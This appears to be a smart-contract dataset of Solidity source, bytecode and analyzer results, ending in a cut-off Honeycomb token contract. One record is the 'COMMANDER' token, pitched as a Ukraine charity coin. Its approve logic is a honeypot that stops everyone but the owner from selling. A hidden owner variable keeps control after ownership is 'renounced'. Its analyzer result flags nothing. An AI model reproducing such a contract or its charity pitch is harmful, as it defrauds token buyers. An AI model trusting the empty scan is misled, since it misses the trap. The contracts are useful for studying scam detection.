040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550601e600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208e0c1ee87a0b84a4875224cd588eb6771f850a0541faa36fce8807ace495009464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,141
0xbb7168d8d90a5ed393e5c8fca1ebabdf2ba5a06d
/* $ CMD / COMMANDER - ETH - APE 1 Ukraine charity token that is launching in a few days - fairly hyped project with a few thousand members in TG - sharing this as previous ukraine donation tokens have done well and the fight is still ongoing 💰DONATIONS 3% of every transaction will be donated to Ukraine. 3% of every transaction to helping projects that have been previously rugged 3% reflections 10% of the supply will be sent to the public Ukraine ETH address. Telegram: https://t.me/commander_verification Website: https://commander.live */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract COMMANDER is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'COMMANDER ' ; string private _symbol = 'CMD ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220eb89c6d1b05ca8bfd6ab721b48a8b10aa7d6c292a01e21307e77e8925275ff4264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,142
0xe4732499b9c18d2828ced5470e75d70a3b2b2792
pragma solidity ^0.4.21; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract owned { address public owner; bool public ownershipTransferAllowed = false; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function allowTransferOwnership(bool flag ) public onlyOwner { ownershipTransferAllowed = flag; } function transferOwnership(address newOwner) public onlyOwner { require( newOwner != 0x0 ); // not to 0x0 require( ownershipTransferAllowed ); owner = newOwner; ownershipTransferAllowed = false; } } contract ECR20HoneycombToken is owned { // Public variables of the token string public name = "Honeycomb"; string public symbol = "COMB"; uint8 public decimals = 18; // used for buyPrice uint256 private tokenFactor = 10 ** uint256(decimals); uint256 private initialBuyPrice = 3141592650000000000000; // PI Token per Finney uint256 private buyConst1 = 10000 * tokenFactor; // Faktor for buy price calculation uint256 private buyConst2 = 4; // Faktor for buy price calculation uint256 public minimumPayout = 1000000000000000; // minimal payout initially to 0.001 ether uint256 public totalSupply; // total number of issued tokent // price token are sold/bought uint256 public sellPrice; uint256 public buyPrice; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { totalSupply = 1048576 * tokenFactor; // token total created balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens owner = msg.sender; // assign ownership of contract to initial coin holder emit Transfer(0, owner, totalSupply); // notify event owner _transfer(owner, this, totalSupply - (16384*tokenFactor)); // transfer token to contract _setPrices(_newPrice(balanceOf[this])); // set prices according to token left } /** * Calculate new price based on a new token left * * @param tokenLeft new token left on contract after transaction **/ function _newPrice(uint256 tokenLeft) internal view returns (uint256 newPrice) { newPrice = initialBuyPrice * ( tokenLeft * buyConst1 ) / ( totalSupply*buyConst1 + totalSupply*tokenLeft/buyConst2 - tokenLeft*tokenLeft/buyConst2 ); return newPrice; } function _setPrices(uint256 newPrice) internal { buyPrice = newPrice; sellPrice = buyPrice * 141421356 / 100000000; // sellPrice is sqrt(2) higher } /** * Called when token are bought by sending ether * * @return amount amount of token bought **/ function buy() payable public returns (uint256 amountToken){ amountToken = msg.value * buyPrice / tokenFactor; // calculates the amount of token uint256 newPrice = _newPrice(balanceOf[this] - amountToken); // calc new price after transfer require( (2*newPrice) > sellPrice); // check whether new price is not lower than sqrt(2) of old one _transfer(this, msg.sender, amountToken); // transfer token from contract to buyer _setPrices( newPrice ); // update prices after transfer return amountToken; } /** Fallback function **/ function () payable public { buy(); } /** * Sell token back to contract * * @param amountToken The amount of token in wei * * @return eth to receive in wei **/ function sell(uint256 amountToken) public returns (uint256 revenue){ revenue = amountToken * tokenFactor / sellPrice; // calulate the revenue in Wei require( revenue >= minimumPayout ); // check whether selling get more ether than the minimum payout uint256 newPrice = _newPrice(balanceOf[this] + amountToken); // calc new price after transfer require( newPrice < sellPrice ); // check whether new price is more than sell price _transfer(msg.sender, this, amountToken); // transfer token back to contract _setPrices( newPrice ); // update prices after transfer msg.sender.transfer(revenue); // send ether to seller return revenue; } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { if ( _to == address(this) ) { sell(_value); // sending token to a contract means selling them } else { _transfer(msg.sender, _to, _value); } } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { 